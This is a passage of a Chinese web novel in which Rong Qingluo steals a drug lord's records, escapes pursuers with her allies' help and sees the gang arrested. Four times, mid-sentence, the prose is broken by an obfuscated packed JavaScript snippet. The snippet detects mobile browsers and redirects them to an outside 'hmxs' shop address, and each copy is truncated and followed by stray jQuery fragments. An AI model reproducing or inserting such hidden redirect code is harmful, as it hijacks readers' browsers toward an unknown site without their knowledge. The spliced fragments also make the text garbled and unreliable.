晏行铮：“我练过酒量，所以不太容易醉。” 容清洛点头：“这我就放心了，我来是有十万火急的事情……” 晏行铮：“进去再说。” 二人进屋，晏行铮倒了一杯热水，递给容清洛：“捂着暖一暖。” 容清洛根本等不及歇一歇，她把水随手放在一旁，从怀里取出移动硬盘：“你猜这是什么？” 晏行铮：“什么？” 容清洛低声道：“林裕这些年里制毒贩毒的所有交易记录，全在这里面。” 晏行铮接过硬盘，来到桌前，打开他的笔记本电脑，开始查看移动硬盘里的内容。 一边看，他一边问道：“这玩意儿，林裕肯定藏得很深，你是怎么找到的？” 容清洛：“只需要胆子大不怕死，再加上一点运气即可。” “刚刚但凡你和林裕散得早一点儿，我就被发现了。” 晏行铮：“今晚林裕确实有点奇怪，他不照顾好吴则，反倒来和我喝酒……” 容清洛直接道：“今晚林裕准备把我送给吴则。” “什么？”晏行铮从凳子上弹起来，他把容清洛拉过来，握着她的双肩，检查她身上是否有伤，“你没事吧？” 晏行铮上下打量着容清洛，见容清洛除了脸色被冻得发白以外，并无其他异样，心里稍微平静下来：“你跟我说说，这到底是怎么回事？” 容清洛：“林裕准备在我不知情的情况下把我送给吴则，林晶在吴则来之前溜进我房间给我下药，我早察觉不对，就把林晶敲晕，还把林晶准备给我注射的药剂注射进林晶身体里，然后便躲在院子里看见吴则进入了我房间。” “之后我想着林裕既然要借此讨好吴则，那他肯定不会让人在今晚打扰吴则，松翠阁附近今夜必定几乎无人。” “我知道他在和你喝酒，并不在离松翠阁很近的主院。这么好的机会，我当然不能错过，便溜进主院的书房，找到了这个。” “你没事儿就好，太险了。”晏行铮，“都怪我，竟然什么都没察觉到。” “今天还好你自己机灵，不然……后果我简直不敢想。” 容清洛：“我说过，为了复仇，我愿意献祭我的一切。” 她指着电脑道：“赶紧做正事吧。” “接下来，我们应该怎么办？” 晏行铮坐回桌前：“林裕万万想不到，他想把你推入深渊，反而被你系上了跌入深渊的绳索。” “这是很有力的证据，有了这个，我们就能抓捕林裕以及与他有牵扯的整条线上的所有人。” 容清洛：“那现在关键是如何把这个送出去。” 114. 生死之交 容清洛：“我们只有这一夜的时间。” “一旦天亮了，不论是林裕发现吴则床上躺着的是他的宝贝妹妹，还是吴则发现和他欢愉的是林晶，我都注定无法走出裕园。” “晏行铮，这件事，只有你能完全置身事外，明天，你务必要下山，把这个东西送出去。” 晏行铮严肃道：“我不可能置身事外，更不可能留你一个人在这里。” “林裕可不是什么心慈手软、怜香惜玉的人。” 他揉着太阳穴：“你让我想一想，一定有更好的办法。” 容清洛淡然道：“其实走到今天这一步，我已经没有什么好失去的了。” “山穷水尽，无可再失。” “得到的只有刚强的意志，勇猛的决心，以及强悍的灵魂。” “所以无论林裕做什么，他能伤害的只有我的身体。” “他折磨不了我的灵魂。” 晏行铮：“但我早就下定决心，要把你完好无损地带出黑夜。” 他认真地看着容清洛，像是要将她的模样完全地印刻在脑海中。 晏行铮：“清洛，你绝对不能折在这里。” “我不允许。” 容清洛却很坚持：“我只要最终的结果，林氏覆灭，罪者伏法。” “你先等等，你还有救。听我的，别放弃。”晏行铮从随身的钱包夹层里翻出一张很小的sd存储卡，插入读卡器，连上电脑。 他快速地选中硬盘上的所有内容，将其复制粘贴到存储卡内。 容清洛：“这卡的内存多大，装得下吗？” 晏行铮：“专门研制的，绝对可以，你放心。” “之前给你的那条装了定位的项链，你有戴着吗？” 容清洛点头：“嗯。” 晏行铮：“拿出来，给我。” 容清洛照做。 项链落在晏行铮手心的时候，还带着容清洛的体温。 晏行铮摩挲宝石两下，拿工具撬开宝石项链的底托，取出里面的定位器。 这时，sd存储卡也已经将文件全部复制粘贴完毕。 晏行铮把卡放进项链中，将其恢复原样，连同读卡器一起递给容清洛，郑重道：“一定要把这个带出去。” “必要时，可以把卡里的内容转存出来。” 容清洛收好读卡器，把项链戴上，感觉脖子上压着沉甸甸的责任。 她不解道：“我怎么带出去？你不走吗？” 晏行铮：“如今林裕已经回主院休息，这个硬盘已经放不回去。” “我们要做最坏的打算。” “一旦林裕发现硬盘丢失，我比你更不容易离开。” “所以要做双重保险。我拿硬盘，你带项链，谁能下山，谁就把资料带回去。” 容清洛点头：“好。假如我能出去，我应该把项链给谁呢？” 晏行铮：“你去上川区第一小学旁边的那个农贸市场，找顺达开锁铺的平叔，把项链给他就行。” “在你家附近？行，我知道了。”容清洛，“这个平叔，我应该怎样让他相信我呢？” 晏行铮：“他认得你。” 容清洛：“嗯？可我不认得他。” 晏行铮：“他见过你的照片，知道你是我的人。” 容清洛的心微动，她悄悄看了晏行铮一眼。 察觉出这句话的歧义，晏行铮补充道：“我的线人。” 容清洛：“你们没有暗号吗？你得给我一个证明自己身份且验证对方身份的暗号。” 晏行铮：“那你就和他说‘衡门之下’。他会回答你‘可以自立’。” 容清洛重复道：“衡门之下，可以自立。” “衡门之下，可以自立。” “……” 晏行铮：“记住了吗？” 容清洛点头。 晏行铮低语：“我不仅希望你现在记住，还希望你以后长长久久地记住。” 容清洛没听清：“你说什么？” 晏行铮摇摇头：“没什么。” “清洛，现在，你需要立马回到松翠阁。” 晏行铮拿出一个随身微型摄像机，递给容清洛：“拿着这个，在吴则睡熟的时候，拍下他和林晶在床上的画面。” “用这个威胁他，让他明天带你走。” “他这次上山来带的有司机和保镖，你可以混在他的人当中，离开这里。” 容清洛按照晏行铮的吩咐，装好所有东西。 走出房间的前一刻，她飞快地转身，扑进晏行铮怀里。 晏行铮安抚地拍了拍她的后背：“别怕，有我在呢。” 容清洛极力忍着，将眼眶中的泪意憋了回去。 “一定要保重，晏行铮。”说罢，她快速地离开了这里。 就像雪夜里的一阵清风，了无痕迹。 *** 漏夜，容清洛潜回松翠阁。 房间内弥散着怪异的味道，容清洛把上衣拉链拉到顶，遮住鼻子。 林晶带来的迷药看来劲儿很大，直到现在，林晶仍然没醒。 要知道，一旦林晶醒过来，就不可能和吴则这样拥抱着躺在一起。 容清洛蹲在床边，用夜视功能对着吴则一顿拍摄。 黑暗中，她发现床边有个什么东西突然亮起。 容清洛吓了一跳，连忙将微型摄像机装进兜里。 定睛看去，原来那是吴则的手机。 好在吴则调了静音，不然消息提示音有可能就把他吵醒了。 容清洛皱眉，夜半时分，谁会给吴则发消息呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578065|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拿起吴则的手机，发现这手机可以用指纹解锁，于是她试了一下吴则右手的拇指，成功解锁。 原来是一个备注为“宝宝13号”的号在社交软件上问吴则睡了没。 容清洛眼神微亮。 吴则的手机竟然信号满格，并且有网。 啧啧，林裕对吴则还真是不一样啊。 连晏行铮在山上都要被收手机，虽然带着电脑，却是用来工作，不能联网。 但吴则在山上不仅带着手机，还可以用流量上网。 容清洛怕她的动作惊醒吴则，保持着手机屏幕不被熄灭，拿着手机退出房间，在院中找到一处隐蔽的位置坐下。 贺溪君前段时间自己搭建了一个网站，让容清洛一定记住这个网址。 只要有网络的地方，容清洛登进这个网址，就可以联系到她。 容清洛在浏览器界面按照记忆输入网址，果然进入一个网页。 这个网页空白一片，只有中间有一个登录界面。 容清洛将贺溪君告诉她的账号和密码输入，登陆成功。 网页变成一个聊天页面。 容清洛从项链里取出sd存储卡，将卡插进读卡器，连接上手机。 她把这张sd卡上的内容全部上传。 毕竟是深夜，也许贺溪君在睡觉，容清洛本意只是给贺溪君留言。 没想到在等待上传的过程中，对面竟然发来消息。 「需要我做什么？」 容清洛眼眶微酸，原来画画姐一直都在。 两人曾商量过，不在线上叫对方的真名，以免暴露。 容清洛打下一长串字。 「我上传的文件是十分重要的证据，务必尽快到上川区第一小学旁边农贸市场，把文件交给顺达开锁铺的平叔。暗号，你说“衡门之下”，对方答“可以自立”。另，我与上线都被困在裕园，盼救援。保重。」 晏行铮之前获得过她发出去的裕园定位，所以他的人应该知道裕园在哪里。 只要林裕的罪证被警方获得，抓捕行动很快便可以展开。 届时，即便她和晏行铮没能离开裕园，也一定会有人来救他们的。 这是容清洛给她和晏行铮上的最后一道保险。 希望她和他，都能活过这个冬天。 贺溪君很快发来两句话。 「收到。」 「坚持住，等我。」 简短的几个字，却充满了让容清洛安心的力量。 她想，一定可以的。 她不是一个人走在这条路上。 她身边除了有晏行铮，还有贺溪君和吴焕晗。 他们都是她最可靠的战友与伙伴。 他们一定能做到。 暗夜里，容清洛在心中这样告诉自己。 115. 血夜交锋 五花大绑太容易将吴则惊醒，所以容清洛选择用两节绳子分别将吴则的双手和双脚捆起来，并把他绑在床边，往他嘴里塞了一块抹布。 这样即便吴则醒了，也闹不出什么太大的动静。 同样的捆绑和堵嘴方式，容清洛给林晶也来了一套，避免林晶醒后失控。 然后容清洛把摄像头拍摄的画面放在吴则紧闭的双眼前，把吴则叫醒。 于是，吴则甫一醒来，便瞧见自己和林晶赤裸着搂抱在一起的画面。 容清洛直接把灯打开，反正窗帘拉着，外面人看不见屋内情形，瞧见灯光，也只会以为是吴则开的灯。 吴则看见容清洛的脸，又扭头去辨认身侧女人的脸，发现旁边和他共眠的人竟然是林晶，林裕的妹妹。 他的瞳孔在顷刻之间放大，嘴里发出呜呜的声音。 容清洛在吴则震惊之际，趁他不注意，把微型摄像机的录音功能打开，放在床下。 她起身，从桌上取来一把水果刀，在吴则的脖子上比划着，慢条斯理道：“吴大公子，半夜三更的，你怎么会出现在我的房间？” “还和你亲妹夫的亲妹妹在同一张床上苟且。” “这般张狂，你不怕林总杀了你吗？” 吴则想要说些什么，却被嘴里的抹布堵着，只能发出动物一般的哼鸣声。 容清洛：“我把这个取下来，你可以讲话，但是如果你大喊大叫，想要喊人过来，我保证，我手中的刀比来救你的人，要快。” “你，明白我的意思了吗？” 吴则连连点头。 容清洛把吴则嘴里的东西取出。 吴则虽然没有大叫，但嘴里的话却不甚中听：“小贱人，你敢绑我！” “林裕又算是什么东西，几年前他连给我爹提鞋都不配，如今他仗着我家的势力越做越大，竟然连老子都敢耍，忘恩负义的狗东西……” 容清洛凉凉道：“吴大公子这话是什么意思，我倒是听不明白了。” “难道不是你蓄意侵犯了林总的妹妹吗？” “怎么看，都是吴大公子你更加理亏吧。” 吴则狠狠地瞪向容清洛：“你说，是不是林裕让你绑的我？” “是不是林裕让林晶替换的你？” “容清洛，你是不是和林裕有一腿？” 容清洛笑笑：“吴大公子慧眼如炬，自然什么都看得清楚。” “我和晏行铮是假，和林总才是真。” “而您和我是假，和林大小姐才是最真。” “哼，”吴则愤愤道，“林裕抓着手里那条制……生意线不放，自知对不起我们吴家，又担心他和我那傻妹妹的婚姻无法一直让他获得我们吴家的支持，他这算盘就打到我身上来了。” “但我家老爷子早就逼着我娶妻了，他只好让我和他妹妹生米煮成熟饭。” “我呸，往日里看他那么护着林晶，到头来还不是该利用就利用。” “我爹虽然老骂我没出息，但我绝不会这般利用我妹妹。” 吴则越说越生气，声音的分贝渐渐提高。 而原本应该熟睡的林晶，她紧闭着的双眼，却从眼尾滑落几滴泪珠。 这一幕，吴则没瞧见，容清洛却看得一清二楚。 原本容清洛想要威胁吴则，此时却改变了主意。 于是她附和吴则的话语，叹道：“是呀，我以前一直以为林总是一个护妹狂魔，我别提多羡慕林大小姐了，可真是没想到……” “唉，只能说，男人都还是更爱事业。无论是江山和美人，还是江山和亲情，两相比较起来，林总都只会选择江山。” “吴大公子，事已至此，你想如何解决呢？” 吴则：“我能怎么想，我一直只把林晶当妹妹。” “林晶做妹妹很合适，但做老婆，我受不起啊，我是有老婆的人，我那老丈人也很厉害，不可能离婚的。” 容清洛：“懂了，吴大公子是不想负责任，不想让林总如愿。” “但是我们林家堂堂大小姐，岂能就这样白白让你占了便宜。” “你若是不答应，这裕园，你还敢待下去吗？” “要知道，天马上就要亮了。” 吴则：“大不了我现在立刻下山去就是。” “也好，那你快走。”容清洛一面为吴则松绑，一面又叹道，“可惜了，林总本来也只是想要我们大小姐给你当情人，只要能使吴林两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578066|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家亲上加亲，这名分上的事情，都是可以商量的。” 吴则正准备下床，闻言，停下动作：“当真？” 容清洛：“左拥右抱，齐人之福，吴大公子难道不心动吗？” 吴则：“如果是这样，我倒也不是不能考虑。” 容清洛：“吴大公子，我们林总说了，您要是答应，今天夜里就带我们大小姐下山，过年带着大小姐来林家拜年便是。” 吴则昨夜感觉很好。 他本就是喜欢美色之人，不然当初也不可能因为林晶一挑拨，就问林裕要容清洛。 他点头道：“我没问题啊，就是这是不是太仓促了？” 容清洛：“林总是怕夜长梦多。万一吴大公子您后悔了，我们大小姐的脸往哪里搁？” 吴则笑起来：“晶晶的脸自然是往我怀里搁。” 容清洛：“既如此，请您即刻动身。” 吴则：“那你去把我的保镖喊来，我现在立马和晶晶下山。” 容清洛：“我要在这里保护我们大小姐。林总说了，寸步不离。” “吴大公子不如直接抱着大小姐回观云馆，叫上保镖，收好东西，换身衣服，再出发。” 吴则：“也好。” 他抱起还被绑着的林晶，朝门外走去。 几人来到吴则住着的观云馆。 吴则大步流星走进房间，洗漱换衣服。 容清洛落在后面，趁人不注意，将吴则的手机关机，沉进院内的小池塘中。 *** 凌晨四点左右，吴则的车终于从裕园悄无声息地出发。 容清洛以护送大小姐下山为由，跟着吴则的车一起走。 下山的一路总共碰上了三处林裕设置的关卡，但是这些人一看见车内坐的是吴则，便通通放行。 五点多，吴则的车开回市区，把容清洛放在一个路口。 容清洛回家换了身衣服，找出一个背包，往包里塞了好几样保命的东西，才背上包，戴上口罩，走出家门。 她本来想着，在街上绕几圈后便去晏行铮所说的那个菜市场找平叔。 但是在街上没走多久，她就察觉到不对劲。 有人跟踪她。 116. 血夜交锋 容清洛没再往菜市场走，而是在路边找了一家已经开门的早餐店，借着买早餐的间隙回头看了一眼。 远处有一个身影闪进旁边的胡同。 容清洛皱眉。 她扫码付钱之后，提着袋中的早餐匆匆向前走去。 恰好经过公交站台的时候，有一辆公交车正准备关门，容清洛连忙跑过去。 司机在容清洛上车以后，便关闭车门，驶离这一站。 容清洛坐在最后一排，远远看见从那胡同走出一人，在她乘坐的这辆公交后面狂追。 人怎么跑得过车，那人很快停下来，但是拿出手机对着这辆公交拍了张照片。 容清洛怀疑，这人很有可能会根据车牌号以及公交线路在前面拦截她。 这不是林裕的人。 林裕丢失了移动硬盘，他现在肯定顾不上她。 这估计是林晶派来的人。 林晶这回恨极了她。 羔羊怎么可以反抗豺狼的诡计与戏耍呢？ 而且竟然反抗成功，让豺狼狠狠栽了一回跟头。 这对豺狼而言，侮辱性恐怕比伤害性还要大。 林晶只知道自己的脸被打了，所以现在要打回来。 但林晶不明白，她容清洛同样恨林晶，并且恨了许多年。 容清洛身上所肩负着的，不仅仅只有容清洛这一个名字。 还有叶时冉。 还有季希。 死去的自己，也算是一个可以缅怀的人。 林晶的这点痛算什么呢？ 林晶只有痛一些，再痛一些，才能偿还其身上所背负的这些血债。 容清洛明白，自己的那个公寓她现在是回不去了。 希冀于躲在家里是不切实际的。 因为门是可以被撬开、砸开的。 不把这些人绳之以法，她永远没有安稳日子过。 她还是得去找平叔送项链。 但容清洛如今不敢打的士，怕司机是这些跟踪她的人假扮的。 而且她若是下一站不下车，林晶的人也会直接上车来抓她，所以她必须下车，必须想办法离开。 好在容清洛早上回了一趟家，拿了贺溪君为她专门改造过的秘密手机。 这个手机贺溪君会定期检查，确定该手机并未被林裕做手脚和监听。 思忖片刻，容清洛还是决定联系贺溪君。 贺溪君有好几辆车，其中有一辆越野。 这车她平常不开，但是会定期检修，只是偶尔开出去练练手。 贺溪君常说，要在关键时刻开着这辆车十分帅气地来营救容清洛。 拨通电话，容清洛差点哭出来：“画画姐，这次真的需要你开着越野来救我了。” 容清洛比较幸运的一点在于，她乘坐的这辆公交因为走的是通往郊区的线路，所以每两站之间隔的时间非常长，相当于普通公交的上十站。 她用手机导航看了一下，到下一站大概需要三十分钟。 这个时间段内，贺溪君开车赶过来，完全足够了。 两人便约定在这趟公交线的下一站见面。 挂断电话，容清洛焦灼地思考着接下来应该如何做才能把项链送出去。 她坐在窗边，盯着车窗外不断向后移动的建筑和树木，陷入沉思。 回神的时候，她注意到，有一辆轿车一直并排跟着她这辆公交。 许是察觉到她的视线。 这辆轿车后座的车窗被降下来，露出林晶诡异的脸。 她冲容清洛微笑的模样，像极了魔鬼。 容清洛面无表情地把车窗关紧，起身换了一个靠近另一侧车窗的座位。 林晶的车一直跟在这辆公交的右侧，仿佛只要公交车一停，林晶的人就会从右侧的车门涌上车，将她抓走。 至于林晶为何不现在直接逼停公交，容清洛明白，林晶这是想要折磨她，让她在被抓走之前一直处于恐惧之中。 容清洛知道时间快要来不及了，她连忙给贺溪君打电话，让贺溪君不要来接自己了，直接去农贸市场把林裕的罪证交给平叔，那才是最重要的事情。 贺溪君却道：“我已经跟着你那辆公交有一段时间了，但是我发现林晶的车也在旁边，所以没有上前。我刚联系了焕晗，我们正在想办法。” 容清洛惊喜道：“画画姐，你已经来了？那你快把车开到公交车的左侧，把窗户打开，我扔给你一个东西。” 电话挂断，容清洛连忙把脖子上的项链取了下来。 她摘下手套，将项链小心翼翼地装进其中一只手套，再用另外一只手套包在最外层。 这样双重保险，里面的东西应该不会被摔坏。 没过多久，在一个路口等红灯的时候，贺溪君的车果真开到公交车的左边，越野副驾驶的窗户大开，恰好正对着容清洛所在的位置。 容清洛借助车内其他乘客的遮挡，趁林晶看不见她的动作时，将手套包着的项链扔进贺溪君的车窗内。 那一瞬间，两人视线交错，贺溪君抬手，正正好将那东西接住。 容清洛松了一口气。 绿灯亮起，容清洛乘坐的公交直行向前，而贺溪君的车需要左拐。 看着贺溪君的车渐行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578067|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐远，容清洛如释重负，给贺溪君拨打电话：“画画姐，你一定要把这个送到我告诉你的地址，项链底托里面有一张sd卡，非常重要。” 贺溪君正准备调头去接容清洛：“那你怎么办？我要先确保你的安全。” 容清洛眉目冷凝，坚定道：“这条项链就是我的命。” “现在，我把我的命交给你了。” “画画姐，拜托你，快去。” 贺溪君只好猛踩油门，驶往另一个方向：“好，我马上去，你一要挺住。” 挂断电话前，容清洛听到贺溪君的声音：“焕晗正在赶来的路上。” *** 林晶很享受这种狩猎的刺激感。 所以她没有选择逼停公交，而是就跟在公交旁边，看着容清洛像屁股上长钉子一样在公交上不停地换位置，以摆脱她的视线。 容清洛十分了解林晶，所以她明白林晶的这种想法。 只不过，林晶在狩猎，她也在收网。 最终，究竟谁成为猎物，谁射出那发猎杀的子弹。 就看，谁的手段更胜一筹了。 容清洛在导航上研究了一下这趟公交车会经过的地方。 马上会穿过九川江，这就意味着，汽车会上桥。 这条线路经过的那座桥建得比较早，很有些年代，所以不算宽，只有双向四车道。 容清洛脑海里有一个想法在成形。 她环顾一圈车上的乘客，看到后排有一个年轻人在抽烟，容清洛给他扫码付了一些钱，买下了他的打火机。 前面有一个大妈拎着菜和油，容清洛以两倍的价格买下那壶油。 这辆公交是双层的。 容清洛背起自己的背包，拿着油和火机走上公交的二层。 挺不错的，今天是个大晴天，天空蔚蓝，白云悠悠。 难得在冬日还有这么好的天气。 这么好的日子。 宜。 同归于尽。 容清洛把手伸进背包里摸着里面的一把枪，她告诉自己，绝对不能落入林晶的手中。 如今证据确凿，林氏覆灭的结局已定，她已经看见结局，此生了无遗憾。 如果真的落到了林晶手上，到最后时刻，与其被林晶折磨，不如砰砰两枪，结束林晶的生命，也结束自己的生命。 而在这之前，她要利用这座大桥，搏一搏。 当两辆车都开上九川江一桥时，因为车道狭窄，林晶的车和容清洛乘坐的公交车离得很近。 容清洛从公交车的二层，把油一点一点无声无息地洒在林晶的车顶。 117. 血夜交锋 就在容清洛打算把打着的火机扔到林晶车上时，后方有出殡的车队奏着哀乐驶来。 桥上的车纷纷避让。 公交车也准备靠边为殡车让路。 然而林晶的车一直别着公交车，并不打算让行。 车上有暴脾气的老大爷拉开窗户直接开喷：“哪儿来的兔崽子，懂不懂规矩！” “死者为大晓得吗？” “车开得这么快，前面是鬼门关，你们赶着去投胎吗？” “现在的小年轻，一点儿都没有敬畏之心，迟早要栽跟头的。” 大爷最后一个字的尾音拉的很长，带有当地方言独特的腔调。 林晶车上开车的小弟听了，脊背发凉，心里直发颤。 这一车年轻人对这些习俗确实都不熟悉，不知道这老大爷说的是真是假。 最后林晶到底是觉得有些瘆人，只好自认晦气，让小弟减缓车速，放公交车开到右侧的车道，给出殡车队让路。 如此这般，公交车和林晶的车算是错开了，从并排开变成了公交车在前、林晶的车在后。 林晶的车本准备等出殡车队过去后便开到公交车旁边，哪想到出殡车队后面竟然还跟着婚车车队。 小弟骂了一句：“这开婚车的也是不长眼，跟在出殡车后面送嫁。” 另一个小弟道：“人家肯定是上桥以后才发现前面有出殡车队的。” 婚车头车想要和出殡车队拉开距离，便减速，从左侧车道变道到右侧车道，恰好插进林晶的车和公交车之间。 跟着头车的一溜婚车纷纷效仿，跟在头车后面变道。 林晶的车就这样被迫和容清洛乘坐的公交车之间隔了许多辆婚车。 而刚刚因为殡车经过的原因，很多车避让，此时这些车都开到左侧车道，加速行驶。 于是林晶的车即便想开到左侧车道，也有些挤不进去。 而这时，行驶在公交车前面的那辆车竟然突然停了下来，导致后面跟着的车都停下来。 后面骂声一片，但因为公交车很高，无法看见前面的情形。 林晶的车猛地刹车，差点撞到前面的车。 她窝着一肚子火，突然呕吐起来，车内人都手忙脚乱地给她找袋子，便都没顾上盯公交车。 最前面逼停公交车的那辆车，驾驶座的门打开，从里面出来一个女生，她往公交车这里走来。 容清洛一直注意着路况，见到这女子，顿感欣喜：“是焕焕。” 她连忙从二层下到一层，和司机说要下车。 司机有些生气，但是因为不能一直这么堵在这里，只好打开车门。 回头交罚金，还是现在丢命，容清洛当然选择破财免灾。 她此时十分庆幸自己今天一直没摘口罩，连忙下了公交车，坐进吴焕晗的车。 桥上的这条路又通行起来。 总算下桥，吴焕晗的车拐向和公交车不一样的方向。 而林晶等人都以为容清洛还在公交上，仍然跟着公交车的方向驶去。 终于甩开林晶，吴焕晗手搭在方向盘上，笑起来：“怎样，我这红白车队从天而降，来得正是时候吧。” “还有我这飙车的车技，比起专业的赛车手，不赖吧。” 容清洛长舒一口气，感慨道：“简直是神兵天降，救我于水火。” “你要知道，我刚刚可是准备烧林晶的车，和林晶同归于尽的。” “别一遇到事就想到用命去拼，你不是还有我们呢吗？”吴焕晗换了一个话题，“不过，说实在的，还好平常我这业务接得杂，不仅给活人化妆，也给死者化，否则你看换一个人，谁能一大早立马给你变出这么多殡车和婚车。” 容清洛：“谢谢你，焕焕。” 吴焕晗：“咱们之间，就不说谢了。” “接下来，需要我做什么？” 容清洛：“我们去上川区一小旁边的农贸市场，找人。” “好，坐稳了。”吴焕晗脚踩油门，开着车在九川江边飞驰。 没有了跟踪的尾巴，两人的行动终于顺利一些。 容清洛在农贸市场下车以后，为了稳妥起见，便让吴焕晗先回去。 她独自一人找到顺达开锁铺。 然而店铺是关着门的。 手机屏幕上显示着贺溪君不久前发来的信息。 「已找到人，东西已交，顺利完成任务，安心。」 容清洛便在店铺旁边找了家早餐店吃早饭。 她清晨买的那份早餐落在公交车上了。 大概半个小时过去，一个中年人过来将开锁铺的卷帘门拉起。 容清洛观察了一阵，走进铺子：“老板，能配钥匙不？” 老板：“看看这是什么店，怎么不能配钥匙？” 容清洛：“我这个钥匙不太一般，我想在上面刻字，能弄吗？” 老板：“先说说看是什么字？” 容清洛：“是《诗经》里的一句诗，上句是‘衡门之下’，老板你知道下句是什么吗？” 《诗经》里面这句诗为“衡门之下，可以栖迟”。 容清洛专门这样问，想看这老板如何回答。 老板：“我读书不多，不知道《诗经》里的下句是什么。” 他话锋一转，又道：“但我觉得，这句话可以这样说，衡门之下，可以自立。” 容清洛：“平叔？” 老板点头：“我就是平叔。你是容清洛？” 容清洛：“您果真见过我的照片？” 平叔：“大明星，我当然见过。” 容清洛：“我来见您不容易，所以我托可信的朋友早上来给您送东西，您收到了吗？” 平叔：“我刚已经把东西交给上级。” 闻言，容清洛放下心来。 平叔：“这次你立了大功。” 容清洛：“这不是我一个人的功劳。晏先生还在裕园。” 平叔：“上级对他另有安排，接下来的行动你不用参与了。” 尽管如此，容清洛还是按照记忆把裕园的平面图画出来，并且标出上山会遇到的几处关卡大概所在的位置。 根据厨房每日提供的食物份数，她推测裕园如今的人数不超过四十人。 而地牢有可能在裕园的西北角，因为那里容清洛进不去，但容清洛确信里面有人。 她细致地告诉了平叔裕园目前的情况，以及林裕和晏行铮的现状。 平叔说，这些信息他都会如实上报。 将知道的信息全部告知平叔，并且将林裕以前给她的一把手枪上缴以后，容清洛便起身告辞离开。 临出门时，平叔叫住容清洛：“你早上的那位朋友告诉我，你遇到了麻烦，被林家人盯上了。” 容清洛：“是。” 平叔：“收网就在这一两天，你要是不嫌弃，我给你安排个住处，绝对保证你这几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578068|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的安全。” 容清洛：“求之不得，谢谢平叔。我其实有这个想法，但是没好意思开口，怕您说我浪费你们的资源。” 平叔：“你是有功之人，传递出来这么重要的情报，我们有责任保证你的安全。” *** 另一边，林裕想着昨夜容清洛和吴则必定闹得晚，便没让人去打扰。 而林晶向来中午才起，所以林裕早上也没喊林晶吃早饭。 所以直到中午，林裕才发现，吴则、林晶、容清洛这三个人竟然都不见了。 他连忙让晏行铮去查，这才知道昨夜吴则的车就下山了。 听完晏行铮的话，林裕猛然想起什么：“不好。” 林裕回到主院，快步走进书房，这才发现移动硬盘丢了。 林裕给吴则打电话，却始终联系不上。 暴怒的林裕这时才明白，吴则这厮就是扮猪吃老虎。 吴则哪里是看上了容清洛，吴则分明是觊觎林家的东西，故意找借口来裕园，想要染指他辛辛苦苦经营多年的制毒贩毒链条。 而吴则掳走林晶，分明是知道他看重亲妹，准备拿林晶威胁他。 这一次，在林裕看来，他是人财两空。 人他是顾不上了。 硬盘里的东西是他的命门，他必须要尽快找到吴则，拿回硬盘。 于是，林裕派晏行铮到吴则家以及吴则经常去的地方找人。 而林裕他自己则准备直接去吴宅找吴老。 吴则这个人虽然有时候犯浑，但他是真听吴老爷子的话。 所以林裕认为，只要他能和吴老谈妥，硬盘这事就能解决，不会爆雷。 然而，当傍晚林裕赶到吴宅时，等待他的，是全副武装的警方。 而吴老，下午就已经被带走。 林裕被抓得突然，来不及通知手下。 所以很多替林裕经营黑色产业的人，都还在等着林裕今年的年终奖励。 除恶务尽。 林裕最信任的几个心腹里，此时除了晏行铮，都已经被抓。 而底下人，除了认林裕本人以及他被抓进去的几个心腹以外，也就还认晏行铮。 所以晏行铮接到上级命令，与警方里应外合，务必要将林裕背后这张错综复杂的巨大利益网络一网打尽。 而在这一过程中，牵扯出了西南地区的另一位毒品大鳄。 晏行铮临危受命，继续使用这一身份，潜伏进更深的黑夜。 而这一切，容清洛无权得知。 她能知道的，就只是林家覆灭，林裕和林晶伏法。 牢中的寇依宁和甄安然依旧指认林晶杀害叶时冉。 林晶最终供认不讳。 叶时冉死亡的真相终于大白于世间。 叶父叶母时隔多年，这才得知女儿死亡的实情。 唯一的遗憾就是，叶时冉的尸首仍旧未找到。 容清洛想，也许，叶时冉的尸骨早已因为连年的大雨，深埋在森林公园的青山之中。 无能为力的她不曾为叶时冉安葬，而上苍慈悲，已经用另一种方式让叶时冉安息。 大仇得报，这条路，容清洛历经千难万险，还是走到了终点。 天亮了。 她终于可以爬出深渊，走出黑夜，重返人间。 // 